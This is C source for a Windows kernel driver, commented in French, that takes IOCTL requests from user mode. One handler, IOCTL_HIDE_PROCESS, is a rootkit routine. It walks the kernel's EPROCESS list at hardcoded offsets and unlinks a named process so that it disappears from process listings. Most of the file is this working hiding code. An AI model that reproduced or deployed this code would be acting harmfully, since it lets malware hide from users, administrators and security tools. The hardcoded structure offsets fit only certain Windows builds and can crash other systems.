#include <wdm.h>
#include <string.h>
/*
* IOCTL's are defined by the following bit layout.
* [Common |Device Type|Required Access|Custom|Function Code|Transfer Type]
* 31 30 16 15 14 13 12 2 1 0
*
* Common - 1 bit. This is set for user-defined
* device types.
* Device Type - This is the type of device the IOCTL
* belongs to. This can be user defined
* (Common bit set). This must match the
* device type of the device object.
* Required Access - FILE_READ_DATA, FILE_WRITE_DATA, etc.
* This is the required access for the
* device.
* Custom - 1 bit. This is set for user-defined
* IOCTL's. This is used in the same
* manner as "WM_USER".
* Function Code - This is the function code that the
* system or the user defined (custom
* bit set)
* Transfer Type - METHOD_IN_DIRECT, METHOD_OUT_DIRECT,
* METHOD_NEITHER, METHOD_BUFFERED, This
* the data transfer method to be used.
*
*/
// Device type -- in the "User Defined" range."
#define SIOCTL_TYPE 40000
typedef unsigned long DWORD;
typedef DWORD *PDWORD;
// The IOCTL function codes from 0x800 to 0xFFF are for customer use.
// METHOD BUFFERED :
// A buffer is allocated and the data is copied from this buffer. The buffer is created as the larger of the two sizes, the input or output buffer.
#define IOCTL_LOL\
CTL_CODE( SIOCTL_TYPE, 0x800, METHOD_BUFFERED, FILE_READ_DATA|FILE_WRITE_DATA)
#define IOCTL_HIDE_PROCESS\
CTL_CODE( SIOCTL_TYPE, 0x801, METHOD_BUFFERED, FILE_READ_DATA|FILE_WRITE_DATA)
VOID unload(PDRIVER_OBJECT pDriverObject);
NTSTATUS Fonction_IRP_MJ_CREATE(PDEVICE_OBJECT DeviceObject,PIRP Irp);
NTSTATUS Fonction_IRP_MJ_CLOSE(PDEVICE_OBJECT DeviceObject,PIRP Irp);
NTSTATUS Fonction_IRP_DEVICE_CONTROL(PDEVICE_OBJECT DeviceObject,PIRP Irp);
long RechercheStructProc(char* nameProcess,int taille);
int CacheProcessus(char* nameProcess,int taille);
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath)
{
NTSTATUS retour = 0;
UNICODE_STRING NomInterface,NomLien;
PDEVICE_OBJECT ptrInterface = NULL;
RtlInitUnicodeString(&NomInterface,L"\\Device\\IOCTL");
retour = IoCreateDevice(pDriverObject,0,&NomInterface,FILE_DEVICE_UNKNOWN,FILE_DEVICE_UNKNOWN,FALSE,&ptrInterface);
pDriverObject->DriverUnload = unload;
pDriverObject->MajorFunction[IRP_MJ_CREATE] = Fonction_IRP_MJ_CREATE;
pDriverObject->MajorFunction[IRP_MJ_CLOSE] = Fonction_IRP_MJ_CLOSE;
pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = Fonction_IRP_DEVICE_CONTROL; //http://msdn2.microsoft.com/en-us/library/ms806168.aspx
RtlInitUnicodeString(&NomLien,L"\\DosDevices\\Ioctl");
retour = IoCreateSymbolicLink(&NomLien,&NomInterface);
return STATUS_SUCCESS;
}
VOID unload(PDRIVER_OBJECT pDriverObject)
{
//PDEVICE_OBJECT DeviceObject
//Pointer to the device objects created by the driver. This member is automatically updated when the driver calls IoCreateDevice successfully. A driver can use this member and the NextDevice member of DEVICE_OBJECT to step through a list of all the device objects that the driver created.
UNICODE_STRING NomLien;
RtlInitUnicodeString(&NomLien,L"\\DosDevices\\Ioctl");
IoDeleteSymbolicLink(&NomLien);
IoDeleteDevice(pDriverObject->DeviceObject);
}
NTSTATUS Fonction_IRP_MJ_CREATE(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
DbgPrint("IRP MJ CREATE reçus.");
return STATUS_SUCCESS;
}
NTSTATUS Fonction_IRP_MJ_CLOSE(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
DbgPrint("IRP MJ CLOSE reçus.");
return STATUS_SUCCESS;
}
NTSTATUS Fonction_IRP_DEVICE_CONTROL(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
/* METHOD_BUFFERED
Input Buffer = Irp->AssociatedIrp.SystemBuffer
Ouput Buffer = Irp->AssociatedIrp.SystemBuffer
Input Size = Parameters.DeviceIoControl.InputBufferLength
Output Size = Parameters.DeviceIoControl.OutputBufferLength
Since they both use the same location
so the "buffer" allocated by the I/O
manager is the size of the larger value (Output vs. Input)
*/
PIO_STACK_LOCATION pIoStackLocation;
PCHAR welcome = "Kikoo du kerneland.";
PVOID pBuf = Irp->AssociatedIrp.SystemBuffer;
PEPROCESS ptrStructProcessToHide;
long pid;
int retour;
pIoStackLocation = IoGetCurrentIrpStackLocation(Irp);
switch(pIoStackLocation->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL_LOL :
DbgPrint("IOCTL LOL.");
DbgPrint("Message reçus : %s",pBuf);
RtlZeroMemory(pBuf,pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength);
RtlCopyMemory( pBuf , welcome , strlen(welcome) );
/*
Parameters for IRP_MJ_DEVICE_CONTROL and IRP_MJ_INTERNAL_DEVICE_CONTROL
struct
{
ULONG OutputBufferLength;
ULONG POINTER_ALIGNMENT InputBufferLength;
ULONG POINTER_ALIGNMENT IoControlCode;
PVOID Type3InputBuffer;
} DeviceIoControl;
*/
break;
case IOCTL_HIDE_PROCESS :
DbgPrint("Hide a fucking process par 0vercl0k.");
retour = CacheProcessus(pBuf,pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength);
DbgPrint("Retour : %d",retour);
RtlZeroMemory(pBuf,pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength);
}
// Finish the I/O operation by simply completing the packet and returning
// the same status as in the packet itself.
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = strlen(welcome);
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
long RechercheStructProc(char* nameProcess,int taille)
{
PEPROCESS ptrStructProcessStart,ptrStructProcessCourant;
PLIST_ENTRY liste;
ptrStructProcessStart = IoGetCurrentProcess();
ptrStructProcessCourant = ptrStructProcessStart;
do
{
// +0x174 ImageFileName : [16] UChar
if(!strncmp(nameProcess,((PUCHAR)ptrStructProcessCourant + 0x174),taille))return (long)ptrStructProcessCourant;
liste = (PLIST_ENTRY)((PUCHAR)ptrStructProcessCourant + 0x088);
ptrStructProcessCourant = (PEPROCESS)liste->Flink;
ptrStructProcessCourant = (PEPROCESS)((PUCHAR)ptrStructProcessCourant - 0x088); // le champ liste entry est à 0x088 byte du debut de la struct (voir log kd).
}while(ptrStructProcessStart != ptrStructProcessCourant);
return 0;
}
int CacheProcessus(char* nameProcess,int taille)
{
PEPROCESS structAHide;
PLIST_ENTRY listeAHide;
structAHide = (PEPROCESS)RechercheStructProc(nameProcess,taille);
if(structAHide == 0)return 0;
listeAHide = (PLIST_ENTRY)((PUCHAR)structAHide + 0x088);
*((PDWORD)listeAHide->Blink) = (DWORD)listeAHide->Flink; //On modifie la valeur de Blink par l'addresse de la struct suivante, la struct précédante pointe sur la suivante, sans passer par la notre.
*((PDWORD)(listeAHide->Flink)+1) = (DWORD)listeAHide->Blink; //+1 -> pour arriver au blink de la suivante ! petit trick made in "subverting windows kernel"
/*
kd> dt nt!_LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY //Pointe sur la struct suivante de type EPROCESS.
+0x004 Blink : Ptr32 _LIST_ENTRY //Pointe sur la struct precedente de type EPROCESS.
*/
listeAHide->Blink = (PLIST_ENTRY)&listeAHide->Flink; // Change the FLINK and BLINK of the process we are hiding so that when
listeAHide->Flink = (PLIST_ENTRY)&listeAHide->Flink; // it is dereferenced, it points to a valid memory region
return 1;
}